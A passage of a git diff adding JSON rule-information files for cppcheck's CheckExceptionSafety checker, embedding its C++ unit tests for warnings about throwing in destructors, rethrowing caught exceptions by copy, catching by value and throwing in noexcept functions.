~A() noexcept(false) {\\n\"\n \" throw 30;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocThrow1() {\n check(\"int * p;\\n\"\n \"void f(int x) {\\n\"\n \" delete p;\\n\"\n \" if (x)\\n\"\n \" throw 123;\\n\"\n \" p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int* p = foo;\\n\"\n \" delete p;\\n\"\n \" if (foo)\\n\"\n \" throw 1;\\n\"\n \" p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n }\n\n void deallocThrow2() {\n check(\"void f() {\\n\"\n \" int* p = 0;\\n\"\n \" delete p;\\n\"\n \" if (foo)\\n\"\n \" throw 1;\\n\"\n \" p = new int;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" reset(p);\\n\"\n \" throw 1;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocThrow3() {\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" throw 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" throw 1;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n }\n\n void rethrowCopy1() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& err)\\n\"\n \" {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy2() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(exception& err)\\n\"\n \" {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy3() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(std::runtime_error& err) {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy4() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& err)\\n\"\n \" {\\n\"\n \" exception err2;\\n\"\n \" throw err2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void rethrowCopy5() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& outer) {\\n\"\n \" try {\\n\"\n \" foo(outer);\\n\"\n \" }\\n\"\n \" catch(const exception& inner) {\\n\"\n \" throw inner;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& outer) {\\n\"\n \" try {\\n\"\n \" foo(outer);\\n\"\n \" }\\n\"\n \" catch(const exception& inner) {\\n\"\n \" throw outer;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void catchExceptionByValue() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch( ::std::exception err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Exception should be caught by reference. [catchExceptionByValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(const exception err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Exception should be caught by reference. [catchExceptionByValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch( ::std::exception& err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(exception* err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(const exception& err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(int err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(exception* const err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noexceptThrow() {\n check(\"void func1() noexcept(false) { try {} catch(...) {;} throw 1; }\\n\"\n \"void func2() noexcept { throw 1; }\\n\"\n \"void func3() noexcept(true) { throw 1; }\\n\"\n \"void func4() noexcept(false) { throw 1; }\\n\"\n \"void func5() noexcept(true) { func1(); }\\n\"\n \"void func6() noexcept(false) { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:31]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:5:31]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() noexcept { return 0; }\\n\"\n \"const char *func1() noexcept { try { throw 1; } catch(...) {} return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowThrow() {\n check(\"void func1() throw(int) { try {;} catch(...) { throw 1; } ; }\\n\"\n \"void func2() throw() { throw 1; }\\n\"\n \"void func3() throw(int) { throw 1; }\\n\"\n \"void func4() throw() { func1(); }\\n\"\n \"void func5() throw(int) { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:4:24]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() throw() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // #11691: FP throwInNoexceptFunction with if constexpr in template\n check(\"template\\n\"\n \"static void foo(size_t Size) noexcept(IsNoThrow) {\\n\"\n \" if constexpr (!IsNoThrow) {\\n\"\n \" throw std::bad_alloc();\\n\"\n \" }\\n\"\n \"}\\n\"\n \"foo(123);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unhandledExceptionSpecification1() { // #4800\n check(\"void myThrowingFoo() throw(MyException) {\\n\"\n \" throw MyException();\\n\"\n \"}\\n\"\n \"void myNonCatchingFoo() {\\n\"\n \" myThrowingFoo();\\n\"\n \"}\\n\"\n \"void myCatchingFoo() {\\n\"\n \" try {\\n\"\n \" myThrowingFoo();\\n\"\n \" } catch(MyException &) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function myThrowingFoo(). [unhandledExceptionSpecification]\\n\", errout_str());\n }\n\n void unhandledExceptionSpecification2() {\n check(\"void f() const throw (std::runtime_error);\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" f();\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unhandledExceptionSpecification3() {\n const char code[] = \"void f() const throw (std::runtime_error);\\n\"\n \"int _init() {\\n\"\n \" f();\\n\"\n \"}\\n\"\n \"int _fini() {\\n\"\n \" f();\\n\"\n \"}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" f();\\n\"\n \"}\\n\";\n\n check(code, dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function f(). [unhandledExceptionSpecification]\\n\"\n \"[test.cpp:6:5] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function f(). [unhandledExceptionSpecification]\\n\", errout_str());\n\n const Settings s = settingsBuilder().library(\"gnu.cfg\").build();\n check(code, dinit(CheckOptions, $.inconclusive = true, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowAttributeThrow() {\n check(\"void func1() throw(int) { throw 1; }\\n\"\n \"void func2() __attribute((nothrow)); void func2() { throw 1; }\\n\"\n \"void func3() __attribute((nothrow)); void func3() { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:53]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:53]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() __attribute((nothrow)); void func1() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowAttributeThrow2() {\n check(\"class foo {\\n\"\n \" void copyMemberValues() throw () {\\n\"\n \" copyMemberValues();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowDeclspecThrow() {\n check(\"void func1() throw(int) { throw 1; }\\n\"\n \"void __declspec(nothrow) func2() { throw 1; }\\n\"\n \"void __declspec(nothrow) func3() { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:36]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() __attribute((nothrow)); void func1() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void rethrowNoCurrentException1() {\n check(\"void func1(const bool flag) { try{ if(!flag) throw; } catch (int&) { ; } }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (error) Rethrowing current exception with 'throw;', it seems there is no current exception to rethrow.\"\n \" If there is no current exception this calls std::terminate(). More: https://isocpp.org/wiki/faq/exceptions#throw-without-an-object [rethrowNoCurrentException]\\n\", errout_str());\n }\n\n void rethrowNoCurrentException2() {\n check(\"void func1() { try{ ; } catch (...) { ; } throw; }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (error) Rethrowing current exception with 'throw;', it seems there is no current exception to rethrow.\"\n \" If there is no current exception this calls std::terminate(). More: https://isocpp.org/wiki/faq/exceptions#throw-without-an-object [rethrowNoCurrentException]\\n\", errout_str());\n }\n\n void rethrowNoCurrentException3() {\n check(\"void on_error() { try { throw; } catch (const int &) { ; } catch (...) { ; } }\\n\" // exception dispatcher idiom\n \"void func2() { try{ ; } catch (const int&) { throw; } ; }\\n\"\n \"void func3() { throw 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noFunctionCall() {\n check(\"void f() {\\n\" // #13803\n \" throw \\\"error\\\";\\n\"\n \"}\\n\"\n \"void g() noexcept {\\n\"\n \" auto pF = &f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestExceptionSafety)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/checkRethrowCopy.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/checkRethrowCopy.json new file mode 100644 index 0000000..331ea8d --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/checkRethrowCopy.json @@ -0,0 +1,26 @@ +{ + "name": "checkRethrowCopy", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 27, + "branches": 13, + "apis": 38, + "test": [ + { + "description": null, + "expected-problems": 5, + "expected-linenumbers": [ + 185, + 199, + 213, + 225, + 240 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkexceptionsafety.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n\nclass TestExceptionSafety : public TestFixture {\npublic:\n TestExceptionSafety() : TestFixture(\"TestExceptionSafety\") {}\n\nprivate:\n /*const*/ Settings settings;\n\n void run() override {\n settings.severity.fill();\n\n mNewTemplate = true;\n TEST_CASE(destructors);\n TEST_CASE(deallocThrow1);\n TEST_CASE(deallocThrow2);\n TEST_CASE(deallocThrow3);\n TEST_CASE(rethrowCopy1);\n TEST_CASE(rethrowCopy2);\n TEST_CASE(rethrowCopy3);\n TEST_CASE(rethrowCopy4);\n TEST_CASE(rethrowCopy5);\n TEST_CASE(catchExceptionByValue);\n TEST_CASE(noexceptThrow);\n TEST_CASE(nothrowThrow);\n TEST_CASE(unhandledExceptionSpecification1); // #4800\n TEST_CASE(unhandledExceptionSpecification2);\n TEST_CASE(unhandledExceptionSpecification3);\n TEST_CASE(nothrowAttributeThrow);\n TEST_CASE(nothrowAttributeThrow2); // #5703\n TEST_CASE(nothrowDeclspecThrow);\n TEST_CASE(rethrowNoCurrentException1);\n TEST_CASE(rethrowNoCurrentException2);\n TEST_CASE(rethrowNoCurrentException3);\n TEST_CASE(noFunctionCall);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n const Settings *s = nullptr;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.s ? *options.s : settings).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check char variable usage..\n runChecks(tokenizer, this);\n }\n\n void destructors() {\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" throw e;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Class x is not safe, destructor throws exception [exceptThrowInDestructor]\\n\"\n \"[test.cpp:3:9]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n check(\"class x {\\n\"\n \" ~x();\\n\"\n \"};\\n\"\n \"x::~x() {\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) Class x is not safe, destructor throws exception [exceptThrowInDestructor]\\n\"\n \"[test.cpp:5:5]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // #3858 - throwing exception in try block in destructor.\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" try {\\n\"\n \" throw e;\\n\"\n \" } catch (...) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" if(!std::uncaught_exception()) {\\n\"\n \" throw e;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // #11031 should not warn when noexcept false\n check(\"class A {\\n\"\n \"public:\\n\"\n \" ~A() noexcept(false) {\\n\"\n \" throw 30;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocThrow1() {\n check(\"int * p;\\n\"\n \"void f(int x) {\\n\"\n \" delete p;\\n\"\n \" if (x)\\n\"\n \" throw 123;\\n\"\n \" p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int* p = foo;\\n\"\n \" delete p;\\n\"\n \" if (foo)\\n\"\n \" throw 1;\\n\"\n \" p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n }\n\n void deallocThrow2() {\n check(\"void f() {\\n\"\n \" int* p = 0;\\n\"\n \" delete p;\\n\"\n \" if (foo)\\n\"\n \" throw 1;\\n\"\n \" p = new int;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" reset(p);\\n\"\n \" throw 1;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocThrow3() {\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" throw 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" throw 1;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n }\n\n void rethrowCopy1() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& err)\\n\"\n \" {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy2() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(exception& err)\\n\"\n \" {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy3() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(std::runtime_error& err) {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy4() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& err)\\n\"\n \" {\\n\"\n \" exception err2;\\n\"\n \" throw err2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void rethrowCopy5() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& outer) {\\n\"\n \" try {\\n\"\n \" foo(outer);\\n\"\n \" }\\n\"\n \" catch(const exception& inner) {\\n\"\n \" throw inner;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& outer) {\\n\"\n \" try {\\n\"\n \" foo(outer);\\n\"\n \" }\\n\"\n \" catch(const exception& inner) {\\n\"\n \" throw outer;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void catchExceptionByValue() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch( ::std::exception err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Exception should be caught by reference. [catchExceptionByValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(const exception err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Exception should be caught by reference. [catchExceptionByValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch( ::std::exception& err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(exception* err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(const exception& err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(int err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(exception* const err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noexceptThrow() {\n check(\"void func1() noexcept(false) { try {} catch(...) {;} throw 1; }\\n\"\n \"void func2() noexcept { throw 1; }\\n\"\n \"void func3() noexcept(true) { throw 1; }\\n\"\n \"void func4() noexcept(false) { throw 1; }\\n\"\n \"void func5() noexcept(true) { func1(); }\\n\"\n \"void func6() noexcept(false) { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:31]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:5:31]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() noexcept { return 0; }\\n\"\n \"const char *func1() noexcept { try { throw 1; } catch(...) {} return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowThrow() {\n check(\"void func1() throw(int) { try {;} catch(...) { throw 1; } ; }\\n\"\n \"void func2() throw() { throw 1; }\\n\"\n \"void func3() throw(int) { throw 1; }\\n\"\n \"void func4() throw() { func1(); }\\n\"\n \"void func5() throw(int) { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:4:24]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() throw() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // #11691: FP throwInNoexceptFunction with if constexpr in template\n check(\"template\\n\"\n \"static void foo(size_t Size) noexcept(IsNoThrow) {\\n\"\n \" if constexpr (!IsNoThrow) {\\n\"\n \" throw std::bad_alloc();\\n\"\n \" }\\n\"\n \"}\\n\"\n \"foo(123);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unhandledExceptionSpecification1() { // #4800\n check(\"void myThrowingFoo() throw(MyException) {\\n\"\n \" throw MyException();\\n\"\n \"}\\n\"\n \"void myNonCatchingFoo() {\\n\"\n \" myThrowingFoo();\\n\"\n \"}\\n\"\n \"void myCatchingFoo() {\\n\"\n \" try {\\n\"\n \" myThrowingFoo();\\n\"\n \" } catch(MyException &) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function myThrowingFoo(). [unhandledExceptionSpecification]\\n\", errout_str());\n }\n\n void unhandledExceptionSpecification2() {\n check(\"void f() const throw (std::runtime_error);\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" f();\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unhandledExceptionSpecification3() {\n const char code[] = \"void f() const throw (std::runtime_error);\\n\"\n \"int _init() {\\n\"\n \" f();\\n\"\n \"}\\n\"\n \"int _fini() {\\n\"\n \" f();\\n\"\n \"}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" f();\\n\"\n \"}\\n\";\n\n check(code, dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function f(). [unhandledExceptionSpecification]\\n\"\n \"[test.cpp:6:5] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function f(). [unhandledExceptionSpecification]\\n\", errout_str());\n\n const Settings s = settingsBuilder().library(\"gnu.cfg\").build();\n check(code, dinit(CheckOptions, $.inconclusive = true, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowAttributeThrow() {\n check(\"void func1() throw(int) { throw 1; }\\n\"\n \"void func2() __attribute((nothrow)); void func2() { throw 1; }\\n\"\n \"void func3() __attribute((nothrow)); void func3() { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:53]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:53]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() __attribute((nothrow)); void func1() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowAttributeThrow2() {\n check(\"class foo {\\n\"\n \" void copyMemberValues() throw () {\\n\"\n \" copyMemberValues();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowDeclspecThrow() {\n check(\"void func1() throw(int) { throw 1; }\\n\"\n \"void __declspec(nothrow) func2() { throw 1; }\\n\"\n \"void __declspec(nothrow) func3() { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:36]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() __attribute((nothrow)); void func1() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void rethrowNoCurrentException1() {\n check(\"void func1(const bool flag) { try{ if(!flag) throw; } catch (int&) { ; } }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (error) Rethrowing current exception with 'throw;', it seems there is no current exception to rethrow.\"\n \" If there is no current exception this calls std::terminate(). More: https://isocpp.org/wiki/faq/exceptions#throw-without-an-object [rethrowNoCurrentException]\\n\", errout_str());\n }\n\n void rethrowNoCurrentException2() {\n check(\"void func1() { try{ ; } catch (...) { ; } throw; }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (error) Rethrowing current exception with 